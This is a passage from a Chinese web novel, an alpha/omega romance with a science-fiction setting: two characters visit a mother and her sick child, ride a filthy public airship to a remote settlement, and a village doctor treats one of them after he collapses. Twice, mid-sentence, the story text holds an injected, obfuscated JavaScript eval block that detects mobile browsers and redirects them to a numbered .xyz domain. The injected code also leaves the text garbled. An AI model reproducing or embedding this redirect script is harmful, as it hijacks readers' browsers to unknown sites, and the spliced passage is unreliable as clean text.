“唉……小溪的病是胎里带的,应该很难治疗,你这些年也太不容易了。”林息感慨道,他看向李青,碧蓝的眼珠恰到好处地透出几分敬佩、几分可怜。 “最难的还是小溪。”李青稍微低头,摸了摸眉毛,再次看向小溪,满脸心疼愧疚,“给不了他完整的家庭,他也懂事,从没问过他爸去了哪里。” “只是别的孩子都能上学、出门、吃各种食物,”说着,李青语气中多了隐忍的哽咽,“他就只能和我在四十平的小地方憋屈,我还不能时刻在他身边,他也没抱怨过,让休息就休息,让吃药就吃药,乖得不像这个年龄的孩子。” “所以我就自学了做饭,至少能多满足他一点。”看着眼前满桌的菜肴,池泷觉得心中酸软,食材健康、烹饪健康又得口味不输外面饭馆,这个母亲付出了多少,就用这一句“自学”概括了。 “可怜天下父母心,”林息跟着叹了一句,状若无意地说道,“听厂里的工友说,这两年小溪身体逐渐好多了,也是多亏了你的照顾。” “主要是老天保佑。”双手合拢拜了拜,李青庆幸,“前两年市立医院突然有个实验性医疗项目,适合小溪的病,我们报了名,最后幸运中签了。” “是吗?我刚好有个朋友,可怜的,他也是那里发育不全,是什么项目呢?”林息向前倾了倾身子,一脸希冀地好奇。 “反正就是跟腺体有关的研究。”李青双手摆了摆,“具体都是些专业医疗词汇,我也听不明白。” “那费用呢?”说到这儿,林息面上流露着一点尴尬。 “因为我们是中签的,所以免费。非中签参与这个项目的费用,我也没打听过,但估计不菲。”或许是林息面露难色的样子让李青想起了自己,她又补充道,“那边的医生现在也不收人了,日期截止,加上这个项目参与者很多,除非中签,否则有钱也难以参与。” “我能问下医生名讳?”林息仿佛不死心似的,继续追问。 “就是医院里开辟了一个专门窗口,由项目的工作人员负责报名接引,医生们都知道这件事。”李青和善地笑笑,“但很可惜这个窗口现在关闭了。” “唉……”大大的失望表情,林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856017|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息长长地叹了口气,“就两年就能转好,这个项目多有利于人啊,怎么就没了呢。” “谁说不是呢。”李青给两人重新倒了一点热水,“但我们这儿地处偏远,你们央星来的,病人身体脆弱可能也扛不住来回折腾。” 她继续安慰道,“说不定哪天项目上市,或者央星医疗快速发展,腺体病很快就能好了呢。” 林息点点头,仿佛把这话听了进去。 接下来的对话无非就是些家长里短,期间说起李青丰富的艺术造诣,她笑着摆摆手,一脸不好意思:“哪有哪有,就是在光脑上找了几本书学了一下而已,得亏厂里的工友不嫌弃。” 说着,她拿出光脑给两人看了一下,因为知识的普及渠道够宽够多,电子书现在并不是很贵,池泷大略看了一眼,天南地北、三教九流的书,李青倒是都有所涉猎。 连复杂的工程科技类书籍也看过不少,难怪她对科技装备那样感兴趣。 而她最近看的,竟然是一本关于求职的书籍。池泷轻轻挑眉。 很快李青就将光脑收了起来。 而林息则从刚才起,表情就一直隐隐有些恹恹的。 到了八点半多,考虑到明天小溪还要上学,两人也没再多打扰。林息将小溪轻轻抱回了房间,而池泷则在李青的连连推辞中,帮她收拾了碗筷。 临走时,池泷再次夸赞了李青的手艺并表达了感谢。 怕小溪在醒来后觉得失落,林息要了张纸,给他叠了一只漂亮小船放在床头,栩栩如生。 两人出了门,池泷本想做出租飞艇回去,却被林息以“今晚月色美丽不如走走”为由拒绝了。 虽然不明白这里到宾馆还是有一定距离的,走回去这件事,对alpha来说还能接受,对于omega,理论上实在是有些负担。 但想起他今晚接连不太高兴的样子,池泷又觉得陪他走走也没事,大不了走累了再打个飞艇就是了。 月色如水,夜色静谧,不闻虫鸣,二者呼吸可闻。 不知道林息怎么想,反正池泷是有些不安的,因为下午来的时候自己“惹怒”了他,却没有及时解释。 可陡然解释起来,又觉得自己有种“用了很长时间去想怎么编理由”的嫌疑。 再三思考后,池泷率先开口:“你那个朋友怎么办?要去找别的治疗方式吗?” 就是平常聊天的平常音量,也不知道是不是池泷觉得心虚,声音在此时却显得格外嘹亮,她挑挑眉,被吓了轻微一跳。 毕竟不是什么好事,自己问的这么大声,总觉得有点唐突。 “什么?”身边的人回过头来,两人今晚第一次眼神相对,但此时林息的表情明晃晃写着“震惊+无语”,“我那是编的。” 虽然不清楚林息的真实意图,可他试图用对话或故事引导什么的时候,池泷一般还是能看穿的,只是这次,她竟然当真了。 “啊……”她尴尬地搔搔脸,“我今晚也不知道怎么了,总是不在状态。” 林息没说话,只是瞥了她一眼后,转头继续走。 估计正在心里吐槽自己如此没眼力见呢。 而她不知道的是,林息说的这件事,确实并非全部都是编造的。 他的心里,也正在纠结要不要解释一下,可能自己看起来骗人技术高超,可平日里也并不是经常骗人的 “所以,跟你道个歉吧,是我误会了。”还没等他纠结完,池泷又率先开口了。 “包括先前的事,”看他没反应,池泷摸不准,但好歹开了头,便也顺势解释了下去,“我下午的时候,问你那句话,并不是觉得你较弱或者别的什么。” 她语速缓慢,大脑里疯狂组织着语言,怕解释不清楚自己的真实意思,“只是每个人都有能习惯和不能习惯的事情,我的朋友们对于公共飞艇大都是强忍着坐的,因此我先入为主,觉得你或许也会不习惯。” “但更重要的是,你自从来到这儿,这里……”池泷用手比划了一下脖颈后面,手指在空中转了两圈,“已经出现不止一次问题了,我有些担心,因此才那样问的。” “而且我用的问句,不是陈述句。”最后的这句,池泷是小声说的。 说完后,她就偷偷看了看身边的人,他依旧表现得十分平静,也不知道自己说清楚了没。 感觉过了有一阵儿,林息才张嘴:“如果我真的不习惯公共飞艇呢?很不坚强吧?” 这一下又把池泷问懵了,她觉得林息总是关注一些奇怪的点,一般人不都会说什么“知道了”或者“我还是不原谅”之类的吗? “这也不是什么大事,总有方法解决的,”她一脸懵逼地回复,“没必要说,在这种非必需的情境下,受得了不能忍受的事情,才一定是坚强吧。” 这时林息突然气音喷出、笑了一下。他含着笑意问:“你为什么总是这么奇怪?” 奇怪的真的是我吗?望着不知道因为什么,林息又重新勾起的嘴角,池泷在心中默默吐槽。 “但公共飞艇我还是习惯的。”停下脚步,林息转身和池泷面对面站着。 刚好他们走在一处空旷的地方。 刚好林息是面朝着月亮站立的。 刚好月光洒在他伪装过的脸上。 刚好池泷想起了他本来的样子。 “我下午也是因为信息素有点紊乱,所以才乱发脾气”。林息的笑容被月神眷顾显得越发圣洁,又黑又卷的睫毛精致得像被神之手轻抚过,透过碧蓝的伪装也能看见真诚的歉疚,但更多地是调皮和一些池泷看不透的东西。 “所以,对不起。” 话音刚落,池泷就感受到自己的嘴角控制不住地咧开了,她知道自己此刻或许看起来又憨又傻,因为对面的林息“扑哧”一下笑了出来,可她一点儿都不想管。 因为今晚的月色实在是太美了,她想,月光落在身上一点儿都不像书上描述的那样“清冷冰凉”。 看到她耿直的笑容,林息情不自禁地笑出声,这很不温淑,但—— 不可能再次让她那么轻易就抛下我的,他想。 30.第29章 最终两人还是打了个飞艇回来了。 只是林息坚持走的路程,比池泷预料的还要长非常多。 毕竟alpha的体力比omega还是强了不少,所以尽管最后他非得扶着自己的胳膊等飞艇来,可挺直的修长腰身说明还没有到达他的极限。 两人在房门前约好了集合的时间地点,便各自进屋休息了。 一切又恢复到往常的样子,但比往常还要好。 坠入睡梦时,池泷嘴角仍旧微勾。 第二日池泷仍旧早起了,她洗漱用饭后出门了一趟,回来时就看见林息也刚到大厅。 看了看光脑,果然比两人约定的时候还提早一分多钟。 “准备好了?”明明和昨天一样的打扮,可池泷就是觉得林息今天好像更漂亮了。 “嗯。”应了池泷一声,随即林息就觉得奇怪,池泷看起来有点过于高兴了。 闻起来也是。 就像一个孩子,拿到了心仪很久的玩具。 只不过她已成人,这种热乎和兴奋劲儿被良好地压在了“礼貌”底下,眼神中却有藏不住的欢欣。 “出发吧。” 拿着提前在光脑上订好的票,两人站在即停站处等待,很快公共飞艇就到了。 和出租飞艇不一样,公共飞艇的个头很大,可载人数是出租飞艇的10倍之多。 因为承载压力巨大,所以外表看上去就陈旧得多,艇身上常见划痕凹陷,眼前的这一辆甚至连表面的漆面都起皮了。 这还是和地区财政有关系。 比如央星的公共飞艇,雄厚市政资金支持它们的外表和内设甚至比某些地区的出租飞艇还要好。 而很显然亚硫城并不在乎这些,至少并不在乎这趟“郊区快线”。 尽管早有心理准备,可上来时看到的内部景象,还是让池泷忍不住皱眉。 和它破旧的外表一样,这辆公共飞艇内部也乱七八糟:嘎吱嘎吱的艇门、铁皮翘起的内部通道、油乎乎的驾驶舱玻璃,没有人工AI的欢迎音,较大的中央换气机在头顶呼呼作响。 站在换气机底下的人,离它越近,越需要更大声地扯着嗓子说话,唾沫横飞,甚至能看见空气中飞过的小白点。 艇内什么都有。 座位早已满满当当,大多数人还是站着的。拥挤的乘客们拿着行李、活物,还有吃食等,混杂一起,味道奇异。 上来之前,两人就将包背在了身前,以防拥挤,池泷从中拿出今早去买的过滤口罩,递给身后的林息。 同时她也忍不住偷摸地脚趾抠地,因为脚掌抬起时感受到鞋底带着一定的粘度。 该庆幸自己早有准备,虽然没料到这比自己想象中还要混乱。 戴上口罩,两人的容颜也被遮去了一大部分。 但相对于车内其他乘客,干净、轻装的两人还是显得有些突兀。 在通道处扫过票,闸门打开,人群密集,几乎前后接踵,两人继续往里走,有的乘客给他们轻轻让了让身,有的依旧站在原地斜楞着两人。 于是池泷把手伸到后面,拉住了林息的手腕,想着白簇的样子,目光随意扫了一圈周边的人群。 可能是平日训练的军校生气质,加alpha的气势还是足够震慑,那些不知道为什么不太和善的乘客,一瞬间都让开了一些。 池泷余光瞥见人群中的小偷小摸,她没打算管,但眼风扫过去时,那些人没敢轻举妄动。 好不容易走到一个相对清静的角落,靠着艇尾,有几扇油灰凝结的小窗户,勉强看得清外面的景色。 两人带着过滤口罩,远离人群。虽然不需要靠近换气机,只是飞艇提速的噪音也不小。 飞艇缓缓启动,驾驶员的技术还是信得过的,人站着倒是和坐着一样稳当。 池泷将林息拉到自己身前,他后背就是艇仓内壁,池泷用身躯挡住周围人的视线,将林息几乎全部遮了起来。 “不就是个beta么,至于这么宝贝?”身后的人群窸窸窣窣,alpha听力好,这种不和谐的小声嘲弄也听得一清二楚。 beta就不兴被人这样宝贝吗?池泷在林息头顶翻了个白眼,假装没听到,甚至还后退了一点,想低头看看林息是否有感觉不舒服。 她退得毫无征兆,后背不小心碰到了身后的人,把那人吓了一跳,忙不迭地往旁边靠了一下,离她更远了些。 看不清林息的神情,池泷只得用手指轻轻戳了一下林息的肩膀,对方抬起脸,碧蓝色眸子先是闪着疑惑,随即又摇了摇头。 一定是不舒服了,池泷看着重新低下的脑袋,心中这样想着,不然怎么会一直低着头呢? 于是池泷把手又伸进身前的背包里掏了掏,拿出来时手里握着一管药剂——薄荷脑味的防晕片,圆形药片整齐排列在在透明的管身内,一个个的看起来像翡翠一样。 为了照顾适口性,池泷还特地选了一款新研制出来的、带夹心的,店员说和以前的那种不同,含着硬壳一段时间后,人就能渐渐适应薄荷脑的味道,外壳融化时夹心淌出来就不会那么刺激,提神醒脑的效果比以前还好。 这次池泷没再叫林息抬头,直接将药剂塞入他手里,确定林息握住以后,她用手指在管身上敲了两下,林息应该能明白。 果然,眼皮底下的脑袋动了动,顺滑的短发也跟着晃了晃,然后林息就抬眼看了过来,口罩轻微抖了几下,估计是药片在嘴里打转。 口罩下池泷也忍不住咧开嘴笑了笑,想把药剂从林息手里拿回来时,却没找到。反而看到他裤腿旁边鼓鼓的,估计是放到口袋里了。 看他这么喜欢,池泷深感自己早起去药店这一行为的价值得到了完美体现。同时她也没再往回要,反正本来也就是买给他的,只不过怕他一直攥在手里不方便而已。 含着醒脑药剂的林息终于有心情环顾四周了,他往窗边靠了靠,池泷也跟着过去,继续帮他挡住周围人的视线。 反而是林息发现池泷这一举动后,主动伸头出去看了几眼,池泷没阻止,却也没让他多看,刚恢复点精神就来回晃头,容易晕艇。 周围的人虽然只能看见金发碧眼,但从外表看绝不会是个美人,最重要的是,也不是个omega。 大多数人嫌弃地撇撇嘴就该干嘛干嘛了,内心默默嘀咕,估计是某个有钱人家的少爷雇了保镖出来玩。 还有人搂了搂身边裹得严严实实的omega,感觉自己比池泷还是要高一等的。 但两人都不在意,池泷一边继续挡住林息,一边拿出光脑,发现尹霄发来的信息,三人在小组里开始聊天。而林息不知道什么时候,背对池泷,正通过不清楚的窗户欣赏着路过的景色,好像很专注。 池泷也忍不住往窗外看了几眼,实在没看出什么“美色”,就继续专心聊天了。 有了口罩和药剂加持,这段漫长的旅程倒也不是那么难熬了。 再加上随着距离洛熙家越来越近,艇上早已不再上来新乘客,而旧乘客也逐渐离开,艇内的空间越来越大,连座位都空了出来。 为此池泷不抱希望地去看了一眼离得最近的座位,和自己想的一样,不知来源的黑色凝结物几乎铺满了整个座椅,甚至看不出来座位原来的颜色,至于座椅底部……池泷连想都不敢想。 幸好林息也没表现出腿酸什么的,不然池泷估计自己早上随手买的那一小包湿巾根本不够擦座椅的。 到达目的地艇站时,已经中午12点多了。 两人下来后,被眼前的情形惊了一下。尤其是池泷,虽然对打听来的“前不着村后不着店”早有心理准备,可她看到四周全是乔木,唯有一条竖着栅栏的小路往远方延伸时,还是无语了一瞬。 当然还是有好处的,这里远离城市,没有机器、人群的喧嚣。 回归自然,鸟语花香,偶然看去,在城市极为少见的、像松鼠一样的小动物会在树木间穿梭。 于是池泷赶紧摘下口罩,深深地吸了一口气,空气和自己想象中一样清心沁脾。她看向身边,林息仍旧戴着口罩,一双眼眸灵动地扫描着周边。 “空气很好,没有任何奇怪的味道,”池泷手指沿着下巴比了比,“可以摘下换个气。” 说完以后,林息点了点头,却没摘下口罩,只是抬脚往那条小路走去,药剂还在他的口袋里,一走就发出响亮的哗啦声。 被落在身后的池泷皱了皱眉,刚想说什么,可看到他步伐平稳、步频稳定,应该不是不舒服,便又住了嘴。她看了看光脑,发现这附近也叫不到出租飞艇一类的。 所幸这条小路倒不是和看上去一样漫长,没走几分钟,两人就到了一个聚落。 为什么说是聚落而不是城镇,因为这里除了一座小房子以外的一切都具有可移动性:餐馆是一辆带着喷射器的可伸缩巨型两栖餐车、各类摊位也分别是不同型号样式的车或艇改造的,拿着竹篮或者背篓的人们正在这里交易,他们有的拿着光脑、有的用星联通用币,貌似还有人拿着一只长耳獠牙带皮毛的小型动物在交换什么。 可能因为这里属于亚硫城尚未开发的外围,所以这一切,包括交易方式都带一些原始。不过也正是因为这里并未开发,相对于被市政好好规划、美化过的“城市模板”,这里反而更能显示出亚硫城原本的样子。 复杂的气候、复杂的植被,比如:一种像椰子树一样产出硬壳带汁果实、叶子却是宽泛圆形的树木群和一种针叶且已经结出红色果簇的树木群长在一起。前者喜欢高温多雨、后者喜欢低温干旱,前者果实酸、后者果实甜。 尽管对于新人类来说,体感反映此时正处在夏季。 人群对突然出现的两人表现出了极大的好奇和惊讶,甚至在两人一踏入这里的时候,整个聚落都安静了几秒,紧接着是嗡嗡的窃窃私语,遮着嘴巴的人们眼神直勾勾盯着他们,生怕他俩不知道自己是他们正在议论的中心。 他们的眼神中大多是惊叹和好奇,还有人投来羡慕的目光,恶意的目光也有,但落到他们身上时,又很快选择偏离,所以池泷并未发作什么。 突然林息身体晃了晃,池泷手疾眼快地扶住他,眉头再次皱起,她刚准备询问哪里能看护或者休息,就听远处传来吆喝声:“过来!” 看向声音方向,那座“稳定”的小房子门口站着一个农夫装束的蓝色短发omega,身后背着一个大大的草帽,“快把他扶过来休息一下!” 没再犹豫,池泷将林息打横抱起,怀里的人轻得像一朵随时会飞走的云。 她不禁加快了脚步,没来得及说声“打扰”就匆匆进屋,蓝发omega在中央沙发上放了靠枕和毯子,池泷将人放了上去。 将阻碍呼吸的口罩拿掉,薄荷脑的气息一下子散开,池泷被轻轻冲了一下,眉头依旧紧皱,唇角抿起,看起来不悦极了,她才发现,林息唇色极淡、面色苍白、呼吸小声急促、胸膛正快速起伏着。 所以他是难受了一路吗?池泷只觉得心底好似燃起了一把大火,但她说话的语气仍旧听起来平静,她问那个正在忙碌的omega:“请问这附近有医院吗?” 走来走去拿东西的omega没看她一眼,只是接道:“如果你说那种正经的医院,没有。” 听见这话,池泷到没有觉得意外,她随即想问返回有没有其他方法,却看见那个omega拿着毛巾和听诊器走了过来,他说:“但是不正经的赤脚医生还有一个,也就是我。” 他示意池泷去后面,池泷犹豫了一下,看着他沾满泥土的布鞋和破了一个小洞的棉麻工裤,不知道是否要按他说得做。 “所以我说你们这些alpha不要总是自以为是,”蓝发omega将东西放在沙发前的茶几上,从林息身下抽出毯子轻柔盖上,将他的留海儿拨开,手覆了上去,他的声音轻柔,透着一股让人信任的平稳,“omega最了解omega,如果你不介意你的伴侣在失温后疼痛,进而产生炎症高烧,那你可以继续在这儿站着。” 确实,这里偏远得就像是这个时代不应该存在的原始聚落,除了眼前这位自称医生的人以外,她还真没有什么能信任的人或更稳妥的方式去应急治疗。 只不过在她走之前,从背包里拿出一个小型治疗仪,这是池泷做委托时一直随身携带的,可以疗愈那种轻型外伤,至于像这样的内伤有没有用,池泷不确定。 “哦?你还有这个呢,”蓝发omega拿着小型治疗仪,在手里转着看了一圈,半边眉毛又挑了挑,“用得上,里面的治疗液是通用版。” 这是不是说明林息的症状也是omega中常见的某种病症呢? 瞬间池泷心中有了点安慰,她转身往后走,才发现这位赤脚医生刚才忙来忙去,是在沙发后面收拾出一个地方,放了些水盆、瓶罐之类的。 本以为是要自己回避,却不料池泷还没走几步,就听身后传来声音:“屋后的房里有热水,先去打一盆。” 听见指示,池泷拿着水盆穿过有和没有差不多的青花布帘,一大块菜地出现在眼前,里面种着各种作物。 旁边竖着一个泥塑的正方体,方正木门勉强塞在不平的泥巴边框里,池泷走进去,一个锅台扣着盖,有热气传来,拿开盖子,果然是热水,池泷从锅台旁拿了一个葫芦瓢舀了一瓢,正好装满水盆。 她单手端盆,走的时候把木门勉强再次塞了回去。 回到屋内,蓝发omega正在刚才她那盆的那里,拿着一个小瓶往一只白瓷碗里倒着什么。 听诊器放在茶几上,看起来已经诊断结束。 将水盆放回桌面,不知道正在调制什么的人继续指挥道:“把毛巾用热水打湿,给他额头湿敷一下。”语气过于随意熟稔,似乎池泷是他“诊所”里的一个实习生。 但此刻池泷并不在于他语气如何,只是按照她说的去做,拿着热毛巾做到林息身边时,她确实发现这时候的林息已经好了许多,尽管脸色和唇色仍旧有些苍白,但呼吸悠长暖慢了下来,胸膛也正常的起伏着。 似乎没信错人。 将毛巾轻轻放在林息额头,池泷轻轻坐在林息旁边的沙发上,看着好像睡得香甜的人,心中的感情更加复杂,一半是熊熊烈火,一半又像深海河湖一样摇曳难稳,她突然迫切想握住林息放在毯子下面的手。 只是手指刚钻进毯子,身后就传来不满的声音:“放完了别闲着,冷了就重新去换,另外,找个别的地方呆着,坐在这儿会影响我治疗。” 抓紧腾出位置,池泷这才看见蓝发omega端着那只白瓷碗,装着半碗透明液体。他右手正拿着池泷的小型治疗仪,看见她起身,就将治疗仪抛了回去。 “家属,以防医闹,跟你说下,这碗里的东西大部分就是普通的葡萄糖,我又加了一些草药,主要防止发炎高烧的。你能看见的,我们这里几乎没有外面那种成品药剂,所以使用草药较多,”蓝发omega坐在林息身边,也就是池泷刚才坐着的位置上,带着点开玩笑的语气解释,“当然如果你害怕草药有问题,我可以先喝一口。” 话是这么说,还没等池泷表态,他就真的先喝了一小口,唇尖下还挂着一滴,在咽下去后被舌头舔走。然后他调转了碗口,笑眯眯地看着池泷。 说实话,虽然他看起来并不像外面大多数omega那样甜美文静,也不像林息那样清冷有礼,甚至说话有时夹枪带棒,就不像个omega,但池泷直觉他是可以信任的。 于是池泷走到沙发扶手那里,将毛巾拿开,慢慢将林息扶了起来,自己跪在扶手上,让他依靠在自己怀中,蓝发omega见此,又挑了挑半边眉毛,然后轻轻捏住林息下巴,将那碗验过毒的葡萄糖草药缓缓喂了进去。 那碗东西还没完全下肚时,肉眼可见,林息的脸便恢复了几分血色。 池泷心下更加安然,她抬头看着眼前专心喂药的omega,这才发现他好像是有些年纪的,在阳光下能分明看到一些白发,眼角和脖颈也有细细的纹路,那双手因为劳作不满老茧,手背皮肤有些松弛,唯独粉黄色的眸子透着一股矍铄精光,看起来很神气。 他也不是传统意义上的omega美人,但多亏那双眼眸,会让人有种想要征服掌控的狂野美。至于具体年龄,池泷实在是不敢轻易说出口,只能说反正比他俩年纪大,毕竟这人看起来又不年轻又年轻的。 但她也没多打量,看了几眼就收回了目光,长时间盯着一个人看,总归是无礼又无知的行为。 终于喂完了药,蓝发omega起身,池泷又抱着林息停了一会儿,她怕药剂下不去,放倒他会不会再漾上来,那样就更难受了。 顺手把林息身上的毯子拉了拉,蓝发omega端着碗在旁边站了一会儿,突然出声:“他能好这么快多亏你带着那个治疗仪,不然草药生效可能不够快,到最后他还是得发炎发烧。” 听到这话,池泷欣慰了不少,她抬眼像蓝发omega看去,对方却正好端着碗走回了那张收拾好的桌子旁边,池泷从到这里开始第一次出声:“谢谢你医生。” 话出口自己也愣了,因为自己的声音听起来沙哑了许多,明明也没干啥啊。 “嘁……这就上火了?”蓝发omega转身,满脸打趣加好笑地看着池泷,“幸好你是alpha,只是嗓子哑了一点,不然这么大火,一般人怎么受得了哦。” “他是什么病?”尽管声音哑得像一只鸭子,听起来不够入耳,池泷还是坚持不懈,“现在没事了吗?” 这下蓝发omega脸上出现了明显的不理解,再次开口时声音里带着不确定和一点点指控:“你不是他伴侣吗?你不知道他这个毛病?” 啊……我俩不是这样的关系。 池泷刚想解释,对方就连珠炮一样地说:“他腺体里明显有你信息素的痕迹,而且得有两次了吧,你别说你俩不是伴侣关系啊。但你俩要是伴侣关系,他发热期的具体日子你不记得就算了,这次到发热期,就因为你没帮忙纾解导致信息素压抑反噬,引起痛腺,再晚一会儿他就会信息素爆发,引起大范围骚乱,这些——你不会不知道吧?” 这下池泷彻底闭嘴,她低头看着怀中人,思考。 首先,她确实不知道林息具体的发情日。但上次注入信息素时,林息说可以顶上一个月,这也还没到期。而且大多数omega发情期前会有明显的症状,这个池泷是知道的,粘人、欲望高涨等典型特征林息是一点没有。 关键是就算林息的发情症状不同于其他人,池泷不了解,林息自己还不了解吗?他绝不是那种能放任自己在发情期不做任何准备措施就出门的人。 其次,这个人就凭着一根听诊器,连他俩发生了两次“关系”的事都能知道,他绝不可能是什么村里的赤脚医生这么简单。 “对,我俩是伴侣,新婚没多久。”再次抬头时,池泷脸上写满了愧疚,“我没太有常识,所以有些知识不太清楚。” “军婚啊……”蓝发omega皮不笑肉笑的样子那样讽刺,“你俩信息素十分罕见地高度匹配,平日里就算别人感受不到,你应该能经常感受到他的信息素流动吧,你跟我说你不知道?” 这下真的触及池泷盲区了。 虽然她确实能经常感受到崖柏的流动,但她以为那是因为自己的信息素存在于林息腺体里导致的,原来是高度匹配的原因吗? 看着池泷震惊又茫然的表情,蓝发omega扶了扶额,叹气:“要不是你行为动作都不像是装的,我早把你撵出去了。” 说到这儿,池泷突然回神,她将怀里的人轻轻放倒,又给他掖了掖毯子,随即起身鞠了一躬,再次像这位医生表达了感谢。 最后,她才揉了揉膝盖。 好不容易碰到了医生,貌似还是个医术高明到不用机器就能判定信息素匹配度的医生,池泷也没放过机会,将林息的情况大致描述了一下,结果对方紧接着就皱起了英气的眉毛,脸色瞬间阴沉。 “他来这儿之前受过什么刺激吗?”对方声音听起来比刚才沉稳了不少,这让池泷心中一沉。 说起刺激,池泷能知道和想起来的,无非也就是昨天发生的那件事。她讲述了昨天傍晚不知因为什么被人暗算,以及后续林息拒绝就医。 蓝发omega左胳膊收拢靠在肚子上,右手手肘拄在左手上,随着池泷的讲述,右手习惯性摸了摸下巴。 讲完后,池泷有些着急地看向蓝发omega,等待他的“诊断”。 没想到,对方先是无奈地笑了一声,看见池泷不明所以的表情,他又收敛了一下表情,略带正色地问道:“来的路上吃什么了吗?” 这个问题让池泷一愣,她赶紧俯身,轻轻从林息裤袋里抽出那管药剂递给蓝发omega,对方接过药,打开闻了闻,随即说道:“药剂没什么问题。” “至于他……”蓝发omega看向熟睡的林息,又看了看脸上带着明显急色的池泷,嘴角抿了抿,说道,“也没太有事,你大可以理解为突然受到刺激后信息素紊乱,加上薄荷脑的过度刺激,导致他发热期提前,我用药后基本能控制住,这两天是没什么问题,只不过——” 拖着长腔的声调听起来有几分戏谑,但却让池泷放心了不少,老话说医生开玩笑好过不笑,这说明林息身体应该没什么问题,她苦笑不得地看着“为老不尊”的医生,耐心等待着。 “后续这次发热期到了,就需要你耐心一些了,毕竟这里可没有抑制剂那种高级东西。”看着池泷依旧有些迷茫的神色,蓝发omega眼中闪过一丝暗光,没等她反应过来,他又随即问道,“会做饭吗?” 池泷点点头,经过这一提醒,她才意识到这都过晌了,而很显然三人都没用餐。她自告奋勇:“手艺还行能入口,我去做些吃的,有什么要注意的吗?” 对方挑了挑眉,表情显着一点新奇,指了指青花布帘说:“清淡点就行,不过这里也没多少调料和食材。东西都在后面,厨房在锅炉房对面。” 随即池泷轻车熟路地走到后院,穿过另一扇无法完美卡进门缝的小门,找到了厨房。 厨房不大,锅台位于唯一的窗子后面,厨具都挺新的,虽然没有那么智能,但至少不用自己生火。池泷找到了几种菌类植物、几个类番薯,它们个头不大,估计是自己种的。 还有一小块处理好的某种兽肉,看切割痕迹应该是用箭矢狩猎来的,不愧是原始聚落,还有如此古老的冷兵器存在。 在厨柜里找到了类米的淀粉类作物,池泷先将它洗净焖上,接着做了一个菌菇汤,切下一小块肉炒了个类番薯。 想起医生那身明显干农活的打扮,池泷将类米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14873803|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多焖了了一些。 等待饭菜做好期间,她在厨房各处翻了翻餐具,最后也只找到两只汤碗、两个盘子、三只小碗、三双筷子、一把调羹。 今天但凡多一个人,就得用手抓了。 把林息的那份单独留了出来,池泷再次翻找了厨房,但找不到什么大托盘,她只能走两次上菜了。 当她左汤右菜的回到前院时,意外发现林息已经醒了,正枕着靠背坐在沙发上跟蓝发omega说话。 因此池泷进门后,两人停下说话,同时转头望了过来。 池泷看见这一幕只觉得喜出望外,她笑着问:“感觉好点了吗?” “好多了。”林息脸色基本恢复了正常,只是看起来还有点虚弱,他虽然倚靠着,却也靠得端正,坐在那儿,仍旧有那种端方有礼的气质。 看不得池泷拿着东西就站在那儿傻笑,林息也弯了眉眼,连忙说:“把东西放下,一直拿着不累么。” 累倒是不累,池泷想,看了眼不知道什么时候收拾好的茶几,她把手里的东西放了上去,然后一屁股坐在沙发上,寻思再说两句话去拿餐具应该也不晚。 那位“赤脚医生”识趣地去了后院。 “饿不饿?你这一上午也折腾得够呛,有什么不舒服的地方要说出来,这个医生很厉害的。”虽然看起来好多了,可池泷仍旧忍不住担心他是否还在忍着不适。 看林息头摇了又摇,池泷才有点安心,想起他逞强的样子,她忍不住皱眉,可随即她又想到,之所以逞强,是因为林息本身也很清楚,这种地方,说出来的话应该只有返回去一种方法,而他不想耽误委托进程。 没考虑自己在林息那里是不是真的有这么大脸面,池泷就觉得应该就是自己想的这样。而且归根结底,他发热期提前的原因还是由于自己和帮自己做委托受到的刺激。 于是池泷又说道:“抱歉,我……” 同一时刻,林息也说道:“抱歉,我……” 两人相视一笑,池泷抬了抬下巴,示意林息先说。 林息抿了抿嘴角,声音听起来有些愧疚:“我不应该这么不知轻重,给你添麻烦了。” “倒是没麻烦,碰到了好人。”池泷双手在身前摆了摆,笑着说,“主要是挺吓人的,说晕倒就晕倒了,以后不能这样了,有事要说,不要硬挺着,因为我们是……伙伴嘛。” 说到后面,池泷先四周看了看,没看见医生的身影,才小声道出了“伙伴”这两个字。 看着林息听话地点点头,池泷忍住了想摸他脑袋的冲动,这时候的林息看起来太乖了。她赶紧清了清嗓子,说:“抱歉,你刚才醒来时我不在这儿。” 听见这话,林息抬眼看着她,那双碧蓝眼眸里此刻有种让人心软的神色,这是池泷第一次见到,她迷迷糊糊想,说不定这也是林息第一次在家人以外的地方露出这样的神情吧。 终于,她还是把手放在了他头顶,不知道他是戴着假发还是更改了发色,但此刻手掌下柔软的发丝让人心痒。 虽然自己也没想到他会这么快醒来,但不管因为什么,人生地不熟的地方,林息身边唯一认识的人只有自己。刚一睁眼,没看见认识的人,他的心里一般会闪过警惕和慌乱吧。 所以,还是伙伴间的摸摸头,道一下歉吧。 摸完头,池泷又将他昏迷期间发生的事快速讲述了一遍,当然她没提到信息素匹配的事,着重强调了下医生对他的身体诊断。 看着林息若有所思的样子,池泷没再说别的,毕竟这里不是什么讨论的好地方,她站起身准备去后厨拿饭,却发现蓝发omega正好端着餐具站在门帘那里。 “亲热够了?”面对医生的嘲笑,池泷强装镇定,厚着脸皮准备去接他手里的东西,却被一下子躲了过去,“去拿你‘特意’留在锅里的那份吧。” “特意”两个字被人特意加重了语气,还是没撑住,池泷在脸红前就冲出了屋子。 